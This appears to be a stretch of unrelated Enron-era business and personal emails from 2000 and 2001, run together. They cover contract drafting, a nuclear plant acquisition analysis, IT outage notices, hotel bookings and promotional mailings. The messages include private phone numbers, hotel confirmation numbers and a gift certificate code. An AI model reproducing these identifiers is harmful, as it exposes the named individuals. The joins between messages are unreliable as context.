Gonzalez/HOU/ECT@ECT, Sharon J Reese/HOU/EES@EES, Sheila Glover/HOU/ECT@ECT, 
Sherri Sera/Corp/Enron@ENRON, Sherri R Saunders/EFS/EES@EES, Stacy 
Weatherly/Corp/Enron@Enron, Steve Bigalow/NA/Enron@Enron, Stephen 
Harrington/NA/Enron@Enron, Steve Jacobellis/NA/Enron@Enron, Susie 
Ayala/HOU/ECT@ECT, Sylvia Sauseda/Enron Communications@Enron Communications, 
Ted C Bland/HOU/ECT@ECT, Ted Murphy/HOU/ECT@ECT, Ted Noble/HOU/ECT@ECT, Terri 
Harlan/HOU/ECT@ECT, Theresa T Brogan/HOU/ECT@ECT, Timothy 
Bayles/FGT/Enron@ENRON, D Todd Hall/HOU/ECT@ECT, Tommy Garza/HOU/ECT@ECT, 
Tracy Harris/HOU/EES@EES, Tracy James/NA/Enron@ENRON, William 
Stuart/HOU/ECT@ECT, nataliev@travelpark.com
cc:  
Subject: STELLA ELY'S RETIREMENT

----- Forwarded by Richard B Sanders/HOU/ECT on 01/21/2001 10:27 AM -----

	<sales@ashford.com>
	12/18/2000 02:22 PM
		 
		 To: <richard.b.sanders@enron.com>, <bcave@ashford.com>
		 cc: 
		 Subject: A Gift for you from Mark Manela

You have received an Ashford.com Gift Certificate for $300.00 from Mark
Manela.

Here's your gift message from Mark Manela:
Best Wishes for a Happy Holiday and a healthy and prosperous New Year.
Mark D. Manela HPF and M PC

You may use this gift certificate toward any purchase at Ashford.com,
where you'll find the widest selection of luxury goods including watches,
jewelry, diamonds, sunglasses, pens and more from over 300 world-class
brands!  All in a convenient and secure shopping environment.

Simply log on to www.ashford.com, make your selection and enter your gift
certificate number when prompted during check-out.

We hope you'll enjoy your shopping experience at Ashford.com, and please
do not hesitate to call our 24-hour Customer Service hotline at
888-999-4645 or e-mail us at sales@ashford.com if you have any questions!

Gift Certificate Number: RZNUZVX3V768P

Expiration date: 12/19/2001

Gift certificates are not redeemable for cash. Any unused balance will be
placed in the recipient's gift certificate account. If your order exceeds
the amount of your gift certificate, you must pay for the balance with
some other accepted payment method. Gift certificates and unused portions
of gift certificates expire one year from the date of issue or on the
earliest date allowed under law, whichever occurs later. We cannot replace
lost or stolen gift certificates.

You are right on all points (especially the punting one!).  You should have 
the list of specific "fill in the blank" stuff which I forwarded recently.  
Also, we had a discussion yesterday with GE on the form of the 
assignment/assumption agreement, so there shouldn't be anything required of 
you from that standpoint.  

I'm here today (wasn't yesterday) and will be happy to discuss it with you.

Kay

From: Stuart Zisman@ECT on 11/16/2000 09:17 AM
cc:  

Subject: Re: Gas Turbine Purchase Agreement.DOC  

Kay,

I recognize that you would like to punt this "break out contract" thing as 
soon as possible; but, I would like to visit with you briefly about how any 
transition might work.  As I appreciate it, once the form of break out 
contract is complete, most of the hard work is done.  What types of 
modifications are envisioned for each of the break outs?  I assume that just 
a few things would change (for example (i) price, (ii) number of units, (iii) 
delivery points, and (iv) a pro rating of LD's).  Am I grossly 
underestimating the amount of work that will be required.  Please advise.

Stuart

It appears that Davis has officially called the Legislature back to try to address the Edison issue.  Appears they'll reconvene beginning next Tuesday.  We'll report back when we get additional information.  There are some rumors going around that they might meet and simply appoint a "task force" comprised of legislators to continue working on the issue.  Burton is reported to have said that he's telling senators who are on vacation that "this isn't worth cancelling a vacation over."
 
Best,
Jeff

Trigger/Determined Amount inverse relationship:

"In the event the Trigger Price is increased to equal the Other Trigger
Price, the Determined Amount shall be reduced so that the Effective Share
Price is increased in direct proportion to the increase in the Trigger
Price.  The "Effective Share Price" shall be the result obtained by dividing
X by Y where "X" equals the product of the Price Per Share multiplied by the
Number of Shares, and "Y" equals the Number of Shares plus the Determined
Amount."

Paragraph 3(a) first paragraph, 3rd sentence replacement:

"In the event that, but for this Section 3, titled "Other Provisions," Party
B would be obligated to deliver a number of Shares equal to the Determined
Amount plus the Excess Shares, Party B shall have an ongoing obligation to
satisfy delivery of the Excess Shares; provided however that the number of
Excess Shares to be delivered hereby shall not exceed [________] shares.
Party B may, at its sole option, satisfy delivery of the Excess Shares by
using its best efforts to increase its Authorized Shares or by delivery of a
cash payment equal to the [product obtained by multiplying the Excess Shares
by the Final Price]."

Where would you like to meet?  LU-M
From: <Eric.Bass@enron.com>
To: <lwbthemarine@bigplanet.com>; <daphneco64@bigplanet.com>
Sent: Thursday, November 09, 2000 11:10 AM
Subject: Friday

> What are you doing for dinner tomorrow?  Would you like to meet up with
> Shanna and I somewhere?
>
> Let me know.
>
> -E
>

Attached please find the weekly summary on Mexico.

Regards,
Veronica 
 - oct30-00.DOC

Ernie,  Thanks for taking care of that.   I will probably be getting into 
Austin earlier than you.  I'll have my cell phone with me.  (281) 772-9250.  
If you get into town earlier, give me a call.  Otherwise why don't you just 
call me at the room when you get to the hotel.   Sounds great, we'll ride 
over together.  I might bring this girl I have kinda been seeing with me.  My 
latest victim.  We'll see.    I believe that's correct.  The wedding is at 7.

Thanks for the Dilliards tip.  I was going to ask about that.

G

	Ernie.J.Zavaleta@fritolay.com
	02/26/2001 12:09 PM
		 
		 To: gerald.nemec@enron.com
		 cc: 
		 Subject: 2nd Hotel Room Confirmation

Gerald,

Good news - we were able to get the second room at the same $129 rate.  Below
you'll see two separate confirmation numbers - I don't think it matters which
one you or I use.  When you check in, just claim one of them.  They're both on
my card so you can transfer to yours at check-in.

I'm not sure what time we'll get there since we'll be coming from SA.  I
estimate we'll get there at about 5:00 (the wedding is at 7:00 right?)  We'll
actually be traveling to SA on Friday since some of Jill's family from the
Valley will be there as well.

If we're not in contact before then, let's just plan on meeting at the hotel
sometime between 6:00 and 6:30.  We can drive over to the wedding together 
from
there.

In case you didn't know, they're registered at Dillard's - we got him a gift
yesterday, still plenty of items on the list.

E
---------------------- Forwarded by Ernie J Zavaleta/Frito-Lay/US on 
02/26/2001
12:03 PM ---------------------------

Suzanne Mercer <suzannemercer@tramex.com>
02/26/2001 11:58 AM

To:   Ernie J Zavaleta/Frito-Lay/US@Frito-Lay
cc:
Subject:  2nd Hotel Room Confirmation

 TO: FRITO LAY / PEPSI
            ERNIE ZAVALETA
            100 GLENBOROUGH DT
            SUITE 1200
            HOUSTON TX 77067

 FOR: ZAVALETA/ERNIE          REF: FRIT-0046000

 HOTEL
 03MAR   AUSTIN            MARRIOTT HOTELS
  SAT                      MARRIOTT AUSTIN CAPITAL
                           701 EAST 11TH STREET
                           AUSTIN TX 78701
                           FONE 512-478-1111
                           FAX  512-478-3700
                           1 NIGHT       1 ROOM       OUT-04MAR
                           LEISURE RATE
                           RATE-129.00USD PER NIGHT
                           CANCEL BY 06P DAY OF ARRIVAL
                           GUARANTEED LATE ARRIVAL
                           CONFIRMATION 82747164
                           RQST KING BED NON SMOKING
 HOTEL
         AUSTIN            MARRIOTT HOTELS
                           MARRIOTT AUSTIN CAPITAL
                           CONFIRMATION 82413250
                           RQT NONSMOKING

 .
 ---------------------  IMPORTANT ----------------------
   AIRLINE SECURITY REQUEST A 60 MINUTES FOR CHECK-IN.
   GOVERNMENT ISSUED PHOTO ID IS REQUIRED BY AIRLINE.
 -------------------------------------------------------
 ----------------- ITINERARY COMMENTS ------------------
 AIRFARES ARE PER PERSON AND SUBJ. TO CHANGE UNTIL TKT/D
    PLEASE REVIEW ITINERARY IMMEDIATELY UPON RECEIPT
 IF YOU HAVE QUESTIONS, CONTACT THE LEISURE TRAVEL
 DEPARTMENT BY EMAIL OR PHONE --
 972-334-5055 OR 800-776-8009, MON-FRI 8A-5P CST, OR
 CONTACT YOUR AIRLINE DIRECT FOR EMERGENCY ASSISTANCE.

If you are looking to feed and challenge your faith, visit
Crosswalk.com's Spiritual Life Channel at:
http://spiritual.crosswalk.com
N E I L   A N D E R S O N   D A I L Y   D E V O T I O N A L
             from Freedom in Christ Ministries

January 11

SPRING-LOADED TOWARD THE SPIRIT

Walk by the Spirit, and you will not carry out the desire of the
flesh (Galatians 5:16).

When we first became Christians, we were like one-third
horsepower lawn mower engines. We could accomplish something, but
not very much because we weren't very mature. Our ambition as
Christians is to become engines that can power earth-moving
machinery--real powerhouses for the Lord. But neither a lawn
mower nor a bulldozer can accomplish anything without gas. And
neither can we accomplish anything apart from Christ (John 15:5).
No matter how mature you are, you can never be productive unless
you are walking in the Spirit.

When it comes to the choice between walking according to the
flesh and walking according to the Spirit, our will is like a
toggle switch. The new Christian's will seems to be spring-loaded
toward fleshly behavior. He is still the unwitting victim of a
thoroughly trained flesh which only knows how to operate
independently of God. The mature Christian's will is
spring-loaded toward the Spirit. He makes occasional poor
choices, but he is learning to crucify the flesh and walk in the
Spirit on a daily basis.

If you re hoping for a magic formula or a list of foolproof steps
for walking in the Spirit, you will be disappointed. The moment
you reduce the Spirit-filled walk to a formula or an intellectual
exercise, you probably won't be Spirit-filled anymore.

The Holy Spirit is a "He," not an "it." Our walk with God is a
personal experience, not a mechanical or legalistic formula. We
see the immorality of fleshly indulgence everywhere, but simply
preaching against it and telling people to shape up is not God's
answer. The law is powerless to give life (Galatians 3:21).
Reintroducing the law to believers won't work. But if we learn to
walk by the Spirit, we won't carry out the desires of the flesh.
Let's encourage others to do the same.

Lord, I desire to be patient with others in their walk of faith
as You are patient with me. Help me have a gracious response and
a gentle answer to others today.

This daily devotional is published and distributed by
Crosswalk.com.  It is written by Neil Anderson at
< http://www.ficm.org >.

You can purchase "Daily in Christ" and other titles by Neil Anderson at
christianbook.com (Christian Book Distributors - CBD).
< http://shopping.crosswalk.com/bye/devo_na >

Additional devotionals are available from Crosswalk.com:
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  Providers. All rights reserved.

Mark,
I ran into Karen Lambert from the global EOL team and she asked me if I had 
heard back from you on the Australia Deemed ISDA issue.  I'm sorry to ask you 
this again, but I need to verify the information that is in the master 
matrix  for EOL trading.

Thanks,
Jana x30972
---------------------- Forwarded by Jana Morse/Corp/Enron on 06/23/2000 02:34 

Jana Morse
06/08/2000 11:29 AM
cc:  

Subject: Aussie Deemed ISDAs

Mark,
I just wanted to follow up with you to see if you had a chance to talk with 
David Minns in Sydney about their Deemed ISDAs.

Thanks,

----- Forwarded by Richard B Sanders/HOU/ECT on 01/09/2001 07:33 AM -----

	John L Nowlan
	01/08/2001 09:29 AM
		 
		 To: Richard B Sanders/HOU/ECT@ECT, gharvey@gibbs-bruns.com
		 cc: Craig Story
		 Subject: ExxonMobil Bushton Processing Election - January, 2001

Richard, Grant, here is the reply from ONEOK, clearly notice after the 20th. 
Would like to talk how we proceed.
---------------------- Forwarded by John L Nowlan/HOU/ECT on 01/08/2001 09:27 

mbelcher@oneok.com on 01/05/2001 04:12:51 PM
To: john.l.nowlan@enron.com
cc: s.craig.story@enron.com 
Subject: ExxonMobil Bushton Processing Election - January, 2001

John

I am in receipt of your letter concerning Mobil's election not to process its
gas through Bushton for the month of January, 2001.  Below is a copy of the
email received from Mobil concerning their gas election.   We are developing 
an
estimate of the processing costs for ECT.  Will forward under seperate cover.
In the future we will forward the Mobil notification when received.

Thank you for your patience.

Michael Belcher

---------------------- Forwarded by Mike Belcher/ONEOK on 01/05/2001 04:07 PM

Tom R. Chitwood
01/05/2001 03:58 PM

To:   Mike Belcher/ONEOK@ONEOKNTS
cc:

Subject:  ExxonMobil Bushton Processing Election - January, 2001

Per your request
---------------------- Forwarded by Tom R. Chitwood/ONEOK on 01/05/2001 04:02 
PM

larry.e.vollmer@exxon.com on 12/21/2000 06:55:57 PM

To:   bmthomas1@duke-energy.com, mark_r_burroughs@email.mobil.com, Tom R.
      Chitwood/ONEOK@ONEOKNTS, george.m.hyde@exxon.com, kim_hardman@kne.com,
      doug_e_opdyke@email.mobil.com, sam_h_shaver@email.mobil.com,
      christina_r_thompson@email.mobil.com, sheryl_j_thompson@email.mobil.com,
      larry.e.vollmer@exxon.com, madelyn.g.siegmund@exxon.com,
      kenneth_i_morrison@email.mobil.com, ray_hoggatt@email.mobil.com
cc:   larry.e.vollmer@exxon.com, jennifer.h.finnan@exxon.com

Tom,

Please be advised ExxonMobil elects to bypass its gas at Bushton Plant for the
month of January, 2001 for NGL recovery only.  We elect to continue recovering
Helium for the month of January, 2001.

Please acknowledge receipt of this processing election notice.

Larry E. Vollmer
Gas processing Manager
ExxonMobil Gas Marketing Co.
Phone: (713) 656-0122
Fax:    (713) 656-6961
E-mail:  larry.e.vollmer@exxon.com

Mike,

Just to let you know, I am out of the office today. If anything comes up, please let me know via email.

I will fill you in on thursday. 

Thanks,

Doug
Doug-Gilbert Smith

http://www.consultrci.com

Dear Subscriber,

We are delighted that thousands of you took the time last week to download
our free PDF sample of SourceBook Weekly.

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PS: Today's IssueAlert follows these SourceBook Weekly links.
WIRES COMPANIES: RISKY BUSINESS?
http://www.consultrci.com/web/rciweb.nsf/Web+Pages/SBEntrance.html
FUROR OVER FUEL CELLS
PG&E'S HYDROELECTRIC ASSETS: PLAYING BOTH SIDES OF THE GAME
SOUTHERN COMPANY: SPINOFF OF SOUTHERN ENERGY PLANNED FOR APRIL
BEYOND PANTELLOS AND ENPORION: NICHE SUPPLY CHAIN EXCHANGES ATTEMPT TO
FIND SEAT AT THE TABLE
SIERRA PACIFIC AND PORTLAND GENERAL: MOVING FORWARD ON MERGER

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
SCIENTECH IssueAlert, December 13, 2000
Constellation to Buy Nine Mile Point Nuclear Plants; Match for Entergy
in New York
By: Will McNamara, Director, Electric Industry Analysis

Constellation Nuclear, a wholly owned subsidiary of Constellation Energy,
and the owners of the two Nine Mile Point nuclear power plants announced
that Constellation Nuclear will buy 100 percent of Unit 1 and 82 percent
of Unit 2. Constellation will own a total of 1,550 MW of Nine Mile Point's
1,757 MW of total generating capacity. The total purchase price, including
fuel, is $815 million. The Federal Energy Regulatory Commission, the Nuclea=
r
Regulatory Commission (NRC) and the New York Public Utilities Commission
still need to give regulatory approval to the purchase, but Constellation
Nuclear has said it expects the deal to be completed by mid-2001.

ANALYSIS: This is a very strategic move for Constellation Nuclear for sever=
al
reasons. First, the purchase of the plants expands Constellation's generati=
on
assets, which has been one of the key strategies of the company over the
last year. Secondly, the location of the plants is a critical factor.=20
Constellation
has narrowed its competitive strategy to the Northeast region, and New
York in particular is shaping up to be arguably the most important playing
field for nuclear assets. Third, owning the Nine Mile Point plants will
elevate Constellation's stature, moving it ever close to become on par
with its nearest competitor in the New York market, Entergy Corp.

Before I expand on the reasons why I think this is a such a pivotal move
for Constellation Nuclear, let me establish some of the important factors
of the deal. Nine Mile Point is a two-unit boiling water reactor site.
Nine Mile 1 began producing electricity in 1969; Nine Mile 2 began producin=
g
electricity in 1988. The two units are both located in Scriba, N.Y., which
is about 40 miles north of Syracuse. The Nine Mile Point units have had
rather spotty histories, but over the last two years have shown signs of
becoming strong performers. Niagara Mohawk operates both units.

Constellation Nuclear is purchasing the plants from a group of several
different utility owners. Niagara Mohawk happens to be the sole owner of
Unit 1. Unit 2 is owned by a group of co-owners: Niagara Mohawk (41 percent=
),
New York State Electric & Gas (18 percent), Rochester Gas & Electric=20
Corporation
(14 percent), and Central Hudson Gas & Electric Corporation (9 percent).
It is important to note that Constellation Nuclear is only able to purchase
82 percent of Unit 2 because the Long Island Power Authority, an additional
co-owner that controls 18 percent of Unit 2, has opted not to sell its
share of the plant at this time.

The sale came about in part as a result of the New York Public Service
Commission urging nuclear plant owners in the state to determine the market
value of their plants through an open, competitive process. This is part
of an overall effort to separate generation, transmission and distribution
activities within the state.

With that established, I will continue to support my case that the acquisit=
ion
of the Nine Mile Point plants effectively supports Constellation Energy's
growth strategy. In early 2000, Constellation began a restructuring of
its corporate identity, dividing its operations into two separate segments:
one focused on its merchant energy business (including Constellation Nuclea=
r)
and the other focused on regional retail energy services. The merchant
energy business was ranked fifth in the nation for sales of electric power
in the third quarter of 2000, and the company is committed to expanding
this growth. The goal for the merchant energy business, according to=20
Energy CEO Christian Poindexter, is to establish a portfolio of over 30,000
MW of electric generation facilities by 2005. Toward that end, Constellatio=
n
Energy acknowledged earlier this year that it would be taking advantage
of "bargain prices for nuclear plants," which resulted in large part from
other utilities focusing on transmission operations and thus choosing,
or being mandated, to divest their generation plants.

Another important point is that the Constellation Nuclear Services group,
a unit within Constellation Nuclear, was established when Baltimore Gas
& Electric, another Constellation Energy subsidiary, created a new area
for its life-cycle license renewal activities. Thus, most likely Constellat=
ion
will be applying to renew the licenses for the two Nine Mile Point units,
and has a core group of people with expertise in this area. License renewal=
s
in general have been moving rather smoothly through the NRC, so there shoul=
d
not be any difficulty for Constellation with regard to this process. The
only challenge might be that the two Nine Mile Point units are very differe=
nt
in age and could be viewed as two separate plants by the NRC.

Presently, Constellation's generation assets are based in a mixture of
coal and nuclear. The nuclear plant purchases that Constellation is making
expand upon its Calvert Cliffs asset, an 850-MW two-unit nuclear plant
in Southern Maryland. As natural gas prices are projected to rise for the
foreseeable future, buyers on the wholesale market may turn to coal and
nuclear as substitutes for their power purchases. Thus, Constellation could
be in a prime position if the desire for nuclear-generated power continues
to rise, as the company anticipates. While Constellation will most likely
retain its coal-fired generation assets, the company is clearly moving
closer toward a nuclear-based portfolio. Constellation has justified its
move in this direction by saying that its experience has found that nuclear
fuel is cheaper than coal and gas generators and that "the economics [of
nuclear] are quite robust, once they are calculated out."

A key element of the acquisition that may get overlooked in the press relea=
ses
is that Constellation Nuclear has secured a 10-year contract to provide
electricity to the sellers at negotiated competitive prices. Specific terms
of the deal are that Constellation has agreed to sell 90 percent of its
share of the Nine Mile Point plants' output back to the sellers at an avera=
ge
price of nearly $35/MWh until 2010. This alone should provide a solid rate
of return for Constellation's merchant energy business.

In addition, as I indicated, the New York location is key factor in this
deal. Aside from its large population, the state of New York is home to
a number of nuclear plants that have come up for sale recently. For these
two reasons alone, New York stands out as the center within Constellation's
focus on the Northeastern United States. Yet, Constellation's competitors
also have the same plan, and have all fought to gain assets in the region.

Just within the last few months, Entergy Corp.=01*which also has based its
strategy to a large extent on nuclear=01*has been aggressively making its
own acquisitions of nuclear plants in New York State. In fact, Entergy
was competing against Constellation Nuclear as one of the other bidders
for the Nine Mile Point plants. I know this because I spoke to Carl Crawfor=
d,
an Entergy spokesperson, back in August and he confirmed that Entergy was
actively attempting to purchase the two plants. However, despite the loss
of the two Nine Mile Point plants, Entergy retains a very strong nuclear
presence in New York. In late November, Entergy closed the sale on the
New York Power Authority's two nuclear power plants, Indian Point Unit
3 in Westchester County and the James A. Fitzpatrick plant in Oswego County=
.
In fact, the purchase of the two plants from NYPA marked the largest=20
acquisition
to date in Entergy's nuclear strategy, and also represented the highest
purchase price ($967 million) ever of a nuclear asset. Earlier in the same
month, Entergy completed a purchase of the Indian Point 2 plant from Con
Edison. Altogether, Entergy now controls over 3,000 MW of nuclear generatio=
n
in the state of New York.

Consequently, since clearly Constellation Nuclear wants to become one of
the top nuclear power producers in the industry, it will need to match
Entergy (along with other competitors such as Exelon and Duke) with regard
to its nuclear portfolio. There is only a limited number of nuclear plants
that will become available for purchase, and thus any acquisition of an
operational nuclear plant is a significant accomplishment for those in
this particular market.

As a sidenote, I established that Niagara Mohawk was one of the primary
sellers of the Nine Mile Point plants (100 percent of Unit 1 and 41 percent
of Unit 2). It is important to remember that Niagara Mohawk is being acquir=
ed
by National Grid, a U.K. company that is considered one of the world's
largest independent transmission companies. The acquisition of Niagara
Mohawk is supporting National Grid's strategy of becoming a major presence
in the transmission and distribution sectors of the U.S. energy industry.
Generation is not a high priority for National Grid, and the sale of Niagar=
a
Mohawk's nuclear assets resulted from this strategy.

Moreover, once again we see a case that represents the divergent approaches
that different companies have toward deregulation in the United States.
Whereas generation does not factor in to Niagara Mohawk's current strategy,
it is a key component for Constellation Energy. There are certainly risks
associated with both approaches, but the bottom line on this deal, from
my perspective, is that Constellation has acquired some valuable assets
in a strong market. It's pretty obvious that Constellation intends to be
a contender in the nuclear arena, especially in New York, and owning the
two Nine Mile Point units should effectuate that goal.
SCIENTECH is pleased to provide you with your free, daily IssueAlert. Let
us know if we can help you with in-depth analyses or any other SCIENTECH
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SCIENTECH's IssueAlerts are compiled based on independent analysis by=20
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e
in publishing its IssueAlerts is to offer an independent perspective regard=
ing
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Copyright 2000.  SCIENTECH, Inc.

If you do not wish to receive any further IssueAlerts from SCIENTECH, pleas=
e
reply to this message and type "delete" in the subject line.

F O R

September 14, 2001 5:00pm through September 17, 2001 12:00am

SCHEDULED SYSTEM OUTAGES:   NA 

EDI SERVER:  
Impact:  CORP                POSTPONED
Time:  Sat 9/15/2001 at  11:00:00 PM CT thru Sun 9/16/2001 at  3:00:00 AM CT
	Sat 9/15/2001 at    9:00:00 PM PT thru Sun 9/16/2001 at  1:00:00 AM PT
	Sun 9/16/2001 at  5:00:00 AM London thru Sun 9/16/2001 at  9:00:00 AM London
Outage:  Upgrade EDINET
Purpose: Improve reliability, performance, and increase information output.
Backout: 1. Switch IP DNS Entries for the Corp Domain for edinet.enron.com and ecnet.enron.com back to the original state
2. Restore database tables for edi_hub systems.   
3. Switch IP DNS Entries for the Corp Domain for edinet.enron.com and ecnet.enron.com.
4. Save old code and script changes and install new code and configure new code from edi_qa.
Contact(s): 	John Kratzer  713-345-4642  713-318-4746
		Jack Metkus  713-853-0362  713-288-0743
 
EES:     SEE ORIGINAL REPORT
  
ENRON NORTH AMERICAN LANS:  ALSO SEE ORIGINAL REPORT
Time:  Sat 9/15/2001 at  12:00:00 PM CT thru Sat 9/15/2001 at    1:00:00 PM CT
	Sat 9/15/2001 at  10:00:00 AM PT thru Sat 9/15/2001 at  11:00:00 AM PT
	Sat 9/15/2001 at  6:00:00 PM London thru Sat 9/15/2001 at  7:00:00 PM London
Outage:  Converting EBS to CORP Network
Purpose: Incorporating EBS and CORP network
Backout: 
Contact(s): 	George Nguyen    713-853-0691 
 
Time:  Sat 9/15/2001 at  9:00:00 AM CT thru Sat 9/15/2001 at    1:00:00 PM CT 
	Sat 9/15/2001 at  7:00:00 AM PT thru Sat 9/15/2001 at  11:00:00 AM PT
	Sat 9/15/2001 at  3:00:00 PM London thru Sat 9/15/2001 at  7:00:00 PM London
Outage:  Uplink Corrections
Environments Impacted:  ECN 4
Purpose: To connect network switches to standard
Backout: If any switches do not come back online, I will connect them back to the original connection.
Contact(s): 	Mark Trevino    713-345-9954

Time:  Fri 9/14/2001 at  6:00:00 PM CT thru Fri 9/14/2001 at  7:00:00 PM CT
	Fri 9/14/2001 at  4:00:00 PM PT thru Fri 9/14/2001 at  5:00:00 PM PT
	Sat 9/15/2001 at 12:00:00 AM London thru Sat 9/15/2001 at  1:00:00 AM London
Outage:  Hopix and Extpix Flash and IOS upgrade
Purpose: Need to bring IOS to standard level. image requires more flash memory
Backout: Replace original flash card and set another day and time to upgrade
Contact(s): 	Chris Trota  713-345-1697  
 
LOTUS NOTES:  SEE ORIGINAL REPORT
 
MESSAGING:     SEE ORIGINAL REPORT
  
OTHER SYSTEMS:   ALSO SEE ORIGINAL REPORT
Time:  Fri 9/14/2001 at  5:00:00 PM CT thru Fri 9/14/2001 at  7:00:00 PM CT
	Fri 9/14/2001 at  3:00:00 PM PT thru Fri 9/14/2001 at  5:00:00 PM PT
	Fri 9/14/2001 at  11:00:00 PM London thru Sat 9/15/2001 at  1:00:00 AM London
Outage:  Move LMS Production DB instance
Purpose: HRGIM will be responsible for the Docent LMS application.
Backout: 
Contact(s): 	Brandon Bangerter    
		Raj Perubhatla  713-345-8016  281-788-9307
		Brian Ellis  713-345-8017  713-446-6193
		Mark Calkin  713-345-7831  

Time:  Fri 9/14/2001 at  6:00:00 PM CT 
	Fri 9/14/2001 at  4:00:00 PM PT
	Sat 9/15/2001 at  12:00:00 AM London
Outage:  Decommission Pleasanton, CA EBS Servers
Purpose: Office was sold and the servers are not required.
Backout: Business critical data has been copied to Houston by Jeff Hughes and is already being backed up.
Contact(s): 	Dan Dietrich    713-345-8836
 
SITARA:    SEE ORIGINAL REPORT
 
SCHEDULED SYSTEM OUTAGES:   SA 
Impact:  File Server (EIBRASAL1C01)
Time:  Sat 9/15/2001 at  5:00:00 AM CT thru Sat 9/15/2001 at  8:00:00 AM CT
	Sat 9/15/2001 at  3:00:00 AM PT thru Sat 9/15/2001 at  6:00:00 AM PT
	Sat 9/15/2001 at  7:00:00 AM Sao Paulo thru Sat 9/15/2001 at  10:00:00 AM Sao Paulo
	Sat 9/15/2001 at  11:00:00 AM London thru Sat 9/15/2001 at  2:00:00 PM London
Outage:  Electrical Maintenance
Environments Impacted:  ESA - Salvador Office
Purpose: Electrical maintenance
Backout: 
Contact(s): 	Paulo Barreto     
 
Time:  Fri 9/14/2001 at  6:00:00 PM CT thru Sat 9/15/2001 at  9:00:00 PM  CT
	Fri 9/14/2001 at  4:00:00 PM PT thru Sat 9/15/2001 at  7:00:00 PM   PT
	Sat 9/15/2001 at  12:00:00 AM London thru Sun 9/16/2001 at  3:00:00 AM London  
 
Hello:
I received this by mistake.

Rick Curry <rgcurry@mihc.com.mx> on 10/21/2000 05:45:42 PM
To: Jennifer Stewart Arnold <jarnold@ei.enron.com>
cc:  
Subject: Mexico Industrial

> MIHC is a consulting firm with offices in Mexico City and
> Los Angeles. We specialize in assisting foreign national
> corporations with regard to their real estate interest in
> Mexico.
>
> Currently our M,xico City office is representing a client
  regarding the disposition of their surplus corporate assets in
country.
>
> They have three properties which may be might be of
> interest.
>
> 1. Light to Heavy Industrial building in Tula, Hidalgo (a
> well-populated industrial valley roughly 50 miles north of
> Mexico City). Deluxe all brick and concrete building is
> approximately 98,500 square feet with clear span ceiling
> height in excess of 30 ft. The site includes adjacent land,
> which would allow more than doubling the size of facility.
> Located in front of the PEMEX Hidalgo refinery /
> petrochemical plant and a Thermoelectric power generating
> station. Factory is equipment ready and could be in full
> production quickly.
>
> 2. Housing complex built for the Tula factory supervisory
> personnel consists of 32 three-bedroom garden style
> townhouse apartments and an independent eight bedroom
> extended stay dormitory for engineers. In a separately
> enclosed compound is a 3,800 square foot deluxe residence
> with 4-car garage designed for the plant manager or visiting
> officials. The property contains appropriate recreational
> and sports areas for families. It is entirely gated and
> fully secured.
>
> 3. Development site City of Puebla. This highly visible 8.7
> acres of flat land fronts the Puebla-Mexico City
> superhighway at a formal exit. It is at the entrance corner
> to an industrial area of other trans-national manufactures.
> Site is located approximately 5.5 miles north of the
> Volkswagen assembly plant.
>
> Prefer selling items 1 & 2 as a package, but will entertain
> separate offers. Would also consider long term lease with a
> creditworthy corporate tenant.
>
> With respect to item 3, a build to suit, again a
> long-term lease with a credit worthy corporate tenant is
> possible.
>
> All properties are surplus assets and therefore very
> aggressively priced. Factory and housing offered at
> substantially below replacement cost.
>
> For more information on these items and other services we
> provide in Mexico please visit our web site.
>
>                 http://www.MIHC.com.mx
>
> In the US:
>
> Rick Curry
> General Counsel
> MIHC - Los Angeles
> PH 213-308-0300
> email to: RGCurry@MIHC.com.mx
>
> In Mexico:
>
> Ari Feldman, CCIM, SIOR, CIPS
> Director General
> MIHC - Mexico City
> Phone from the US (011) (52) 5286-3458
> email to: AFeldman@MIHC.com.mx

?=20
Just what you need to update your knowledge of Project Finance:=20
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A two-day tutorial;
Two half-day??
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=09PROJECT FINANCE WEEK=20
=09
=09April 23-27, 2001 =01=07 The Roosevelt Hotel =01=07 New York, NY=20
=09http://www.pmaconference.com/pfweek.pdf

April, 2001=20

The energy crisis in California is making clear to players throughout the=
=20
power industry that shortages of generation capacity lead to chaos. Across=
=20
the nation there is a renewed concern about capacity and with that a=20
resurgence of power development. Perhaps the most essential element set in=
=20
the power development process is Project Finance. As the power industry=20
re-doubles its efforts to add generation, training in Project Finance becom=
es=20
ever more a requirement.=20

Your organization's best opportunity to gain a working knowledge of Project=
=20
Finance quickly is attendance at Infocast's Project Finance Tutorial,=20
scheduled for April 23 and 24, 2001 in New York, NY. Infocast's Project=20
Finance Tutorial has enjoyed twelve successful years of introducing industr=
y=20
professionals to the essential elements of Project Finance. Attendees will=
=20
learn:=20

The Contractor's Perspective On Construction, Completion and Performance Ri=
sk?
The Impacts of Fuel Supply?
How Lenders Evaluate Project Structures and Credit Risk?
The Role of Credit Ratings Agencies in Project Financings?
How to Understand and Using Market Assessments in Merchant Power Financings=
?
Risk Management Strategies for successful financings

And attendees hear lessons delivered in case studies by seasoned developers=
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and financiers.=20

On April 25th, Infocast offers two educational workshops that explore in=20
detail two of the most complex elements of Project Finance: Workshop One:=
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Negotiating and Documenting the Key Project Agreements.?? Workshop Two:=20
Predicting the Price of Power for Asset Valuation in Merchant Power=20
Financings=20

Additionally, Richard Grant and Robert O. Gurman, two of North America's mo=
st=20
experienced project financiers will deliver Project Structuring in the Real=
=20
World: An Advanced Seminar, April 26 and 27. This seminar has been winning=
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with a wealth of real-world advice and sound tips on successfully structuri=
ng=20
a project for financing.=20

Tuition of the week is:=20

Project Finance, The Tutorial?
$1495.00?
April 23-24, 2001?
Workshop #1, Project Agreements
$450.00?
Morning of?=20
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Workshop #2, Predicting Prices
$450.00?
Afternoon of?=20
April 25?
The Advanced Seminar
$1,395.00
April 26-27, 2001
Tuition for the Whole Week
$3,195.00
April 22-27, 2001

To view the brochure, please visit http://www.pmaconference.com/pfweek.pdf

THE ECONOMIC TIMES
Friday, May 25, 2001, http://www.economictimes.com/today/25lead01a.htm
MSEB slaps PPA termination notice on DPC

THE FINANCIAL EXPRESS
Friday, May 25, 2001, http://www.financialexpress.com/fe20010525/top2.html
MSEB slaps notice revoking Dabhol PPA ,  Sanjay Jog

Similar articles as above also appeared in the following newspapers:

THE TIMES OF INDIA
Friday, May 25, 2001, http://www.timesofindia.com/today/25mbom1.htm
MSEB slaps notice on Dabhol Power Company

BUSINESS STANDARD
Friday, May 25, 2001,http://www.business-standard.com/today/economy5.asp?Me=
nu=3D3
MSEB rescinds Dabhol PPA=20
=20
THE INDIAN EXPRESS
